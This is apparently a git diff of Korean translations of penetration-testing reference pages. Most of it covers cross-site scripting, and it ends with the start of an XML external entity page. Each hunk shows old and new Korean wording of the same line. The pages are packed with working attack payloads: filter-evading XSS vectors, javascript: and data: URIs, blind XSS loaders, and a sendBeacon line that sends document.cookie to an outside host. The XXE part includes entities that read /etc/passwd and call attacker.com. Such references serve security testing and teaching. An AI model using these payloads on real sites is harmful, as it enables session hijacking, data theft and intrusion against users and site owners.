이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다.\
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 자바스크립트 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일****읽는** 데 악용될 수 있습니다.\
몇 가지 **예시**:
{{#ref}}
@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md
## 원시 HTML 내 주입
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그냥 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지 또는 **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하세요. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두세요.\
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그냥 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지 또는 **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
&#xNAN;_**참고: HTML 주석은 다음을 사용하여 닫을 수 있습니다\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*또는 \*\*\*\*\*\***`--!>`\*\**_
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
@ -228,7 +228,7 @@ onerror=alert`1`
```
### 길이 우회 (작은 XSS)
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
@ -247,10 +247,10 @@ onerror=alert`1`
## HTML 태그 내부에 주입하기
### 태그 내부/속성 값에서 탈출하기
### 태그 내부/속성 값에서 이스케이프하기
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 **태그에서 탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행해 보세요. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 태그에서 **이스케이프**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
태그에서 **이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행해 보세요. 예를 들어 (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ onerror=alert`1`
```
### 속성 내에서
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값을 제어하는지 또는 일부만 제어하는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
@ -303,7 +303,7 @@ HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디
```
### 특수 프로토콜 속에서
여기에서는 **`javascript:`** 또는 **`data:`** 프로토콜을 사용하여 **임의의 JS 코드를 실행**할 수 있는 몇 가지 장소가 있습니다. 일부는 사용자 상호작용을 요구하고 일부는 요구하지 않습니다.
여기에서는 **`javascript:`** 또는 **`data:`** 프로토콜을 사용하여 **임의의 JS 코드를 실행**할 수 있는 몇 가지 장소가 있습니다. 일부는 사용자 상호작용이 필요하고 일부는 필요하지 않습니다.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**이 프로토콜을 주입할 수 있는 장소**
**일반적으로** `javascript:` 프로토콜은 **`href`** 속성을 허용하는 모든 태그와 **대부분의** **`src`** 속성을 허용하는 태그에서 사용할 수 있습니다 (단, `<img>`는 제외).
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그에서 사용할 수 있으며** **대부분**의 **`src` 속성을 허용하는 태그에서 사용할 수 있습니다** (단, `<img>`는 제외).
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -361,7 +361,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
**`javascript:`와 함께 Hex 및 Octal 인코딩 사용하기**
`iframe``src` 속성 안에서 (최소한) **HTML 태그를 선언하여 JS를 실행하기 위해** **Hex** 및 **Octal 인코딩**을 사용할 수 있습니다:
**Hex** 및 **Octal 인코딩**을 사용하여 `iframe`의 `src` 속성 안에서 (최소한) **JS를 실행할 HTML 태그를 선언할 수 있습니다**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -377,7 +377,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
```javascript
<a target="_blank" rel="opener"
```
임의의 **`<a href=`** 태그에 **`target="_blank"` 및 `rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
임의의 **`<a href=`** 태그에 **`target="_blank" and rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
{{#ref}}
../reverse-tab-nabbing.md
@ -401,14 +401,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
### "사용할 수 없는 태그"에서의 XSS (숨겨진 입력, 링크, 표준, 메타)
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **이제 숨겨진 입력을 악용할 수 있습니다:**
[**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **에서 숨겨진 입력을 악용하는 것이 이제 가능해졌습니다:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
그리고 **메타 태그**에서:
그리고 **메타 태그**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
다음의 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 다음은 벡터입니다:
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
### CSS-가젯
웹의 **아주 작은 부분**에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,11 +468,11 @@ onbeforetoggle="alert(2)" />
## JavaScript 코드 내 주입
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 용하는 속성 사이에 있을 것입니다.
이 경우 **입력**이 `.js` 파일의 **JS 코드 내에 반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 용하는 속성 사이에 있을 것입니다.
### \<script> 태그 이스케이프
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우, `<script>` 태그를 쉽게 **이스케이프**할 수 있습니다:
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우, `<script>` 태그를 **닫는 것을 쉽게 이스케이프**할 수 있습니다:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
```
### 템플릿 리터럴 \`\`
단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있기 때문에 템플릿 리터럴로 알려져 있습니다.\
단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `** 도 허용합니다. 이는 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있기 때문에 템플릿 리터럴로 알려져 있습니다.\
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
이것은 다음과 같이 **악용**될 수 있습니다:
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript 새 줄 (에서** [**JavaScript 새 줄**](./#javascript-new-lines) **트릭)**
**JavaScript 새 줄 (from** [**JavaScript 새 줄**](./#javascript-new-lines) **trick)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -745,14 +745,14 @@ top[8680439..toString(30)](1)
dom-xss.md
{{#endref}}
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명**을 찾을 수 있습니다.\
또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명을 찾을 수 있습니다**.\
또한, 언급된 게시물의 **끝부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
### Self-XSS 업그레이드
### 쿠키 XSS
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -762,19 +762,19 @@ dom-xss.md
### 세션을 관리자에게 전송하기
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점을 유발할 수 있습니다.
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점이 발생할 수 있습니다.
### 세션 미러링
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.
당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다.**
당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다**.
## 기타 우회 방법
### 정규화된 유니코드
서버(또는 클라이언트 측)에서 **반된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/#xss-cross-site-scripting).
서버(또는 클라이언트 측)에서 **반된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL 플래그 우회
```javascript
@ -825,22 +825,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
302 Redirect 응답에서 **헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용니다.
302 리다이렉트 응답에서 **헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### Only Letters, Numbers and Dots
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](./#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
JavaScript가 **실행할** **콜백**을 해당 문자로 제한할 수 있다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
> MIME 유형(application/octet-stream)이 실행 가능하지 않으며, 엄격한 MIME 유형 검사가 활성화되어 있기 때문에 [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')에서 스크립트를 실행하는 것을 거부했습니다.
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chrome이 **로드된 스크립트**를 실행할 수 있도록 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
Chrome이 **로드된 스크립트**를 실행하는 데 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -939,9 +939,9 @@ import { partition } from "lodash"
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### 특수 치환 패턴
### 특별 대체 패턴
**`"some {{template}} data".replace("{{template}}", <user_input>)`**와 같은 것이 사용될 때, 공격자는 [**특수 문자열 치환**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 사용하여 일부 보호를 우회하려고 할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
**`"some {{template}} data".replace("{{template}}", <user_input>)`**와 같은 것이 사용될 때, 공격자는 [**특별 문자열 대체**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 사용하여 일부 보호를 우회하려고 할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다.
@ -993,7 +993,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`에 간접적으로 접근하기
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이:
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1267,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> HTTPOnly 플래그가 쿠키에 설정되어 있으면 **JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기에서 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/#httponly)이 있습니다, 운이 좋다면.
> JavaScript에서 쿠키에 접근할 수 **없습니다** HTTPOnly 플래그가 쿠키에 설정되어 있는 경우. 하지만 여기에서 [이 보호를 우회하는 몇 가지 방법](../hacking-with-cookies/#httponly)이 있습니다, 운이 좋다면.
### 페이지 콘텐츠 훔치기
```javascript
@ -1381,7 +1381,7 @@ body:username.value+':'+this.value
### 키로거
깃허브에서 검색해보니 몇 가지 다른 키로거를 찾았습니다:
깃허브에서 검색해보니 몇 가지 다른 것들을 찾았습니다:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1425,11 +1425,13 @@ shadow-dom.md
### 폴리글롯
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### 블라인드 XSS 페이로드
You can also use: [https://xsshunter.com/](https://xsshunter.com)
다음도 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com)
```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
@ -1471,7 +1473,7 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
```
### Regex - 숨겨진 콘텐츠 접근
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 REGEX의 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1490,7 +1492,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
```
### Brute-Force List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS 다른 취약점 악용하기
@ -1504,7 +1508,7 @@ xss-in-markdown.md
### SSRF로의 XSS
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 통해 **SSRF로 업그레이드**해보세요:
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드해보세요**:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1528,9 +1532,9 @@ pdf-injection.md
### Amp4Email에서의 XSS
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 기능성을 보장하며 속도와 보안에 중점을 둡니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 통합하여 속도와 보안에 중점을 두고 기능을 보장합니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있도록 합니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있도록 합니다.
예시 [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1592,7 +1596,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
**더 많은 SVG 페이로드를 찾으세요** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
**더 많은 SVG 페이로드를** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 찾으세요.
## 기타 JS 트릭 및 관련 정보

View File

@ -2,25 +2,25 @@
{{#include ../banners/hacktricks-training.md}}
## XML Basics
## XML 기본
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, 초기 AJAX 기술에서 중요한 역할을 했습니다.
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. HTML과는 달리 미리 정의된 태그 집합에 제한되지 않습니다. JSON의 부상으로 XML의 중요성은 감소했지만, 초기 AJAX 기술에서 중요한 역할을 했습니다.
- **데이터 표현을 위한 엔티티**: XML의 엔티티는 `&lt;``&gt;`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<``>`에 해당합니다.
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있으며, 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
- **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합일 수 있으며, 문서가 어떻게 형식화되고 검증되는지를 안내합니다.
- **사용자 정의 및 외부 엔티티**: XML은 DTD 내에서 유연한 데이터 표현을 위해 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으키며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **엔티티를 통한 데이터 표현**: XML의 엔티티는 `&lt;``&gt;`와 같은 특수 문자를 포함한 데이터를 표현할 수 있게 해주며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<``>`에 해당합니다.
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
- **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으키며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **매개변수 엔티티를 통한 XXE 탐지**: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Main attacks
## 주요 공격
[**이 공격의 대부분은 훌륭한 Portswiggers XEE 실험실을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### New Entity test
### 새로운 엔티티 테스트
이 공격에서는 간단한 새로운 ENTITY 선언이 작동하는지 테스트할 것입니다.
이 공격에서는 간단한 새로운 엔티티 선언이 작동하는지 테스트할 것입니다.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -65,7 +65,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
### 디렉토리 목록
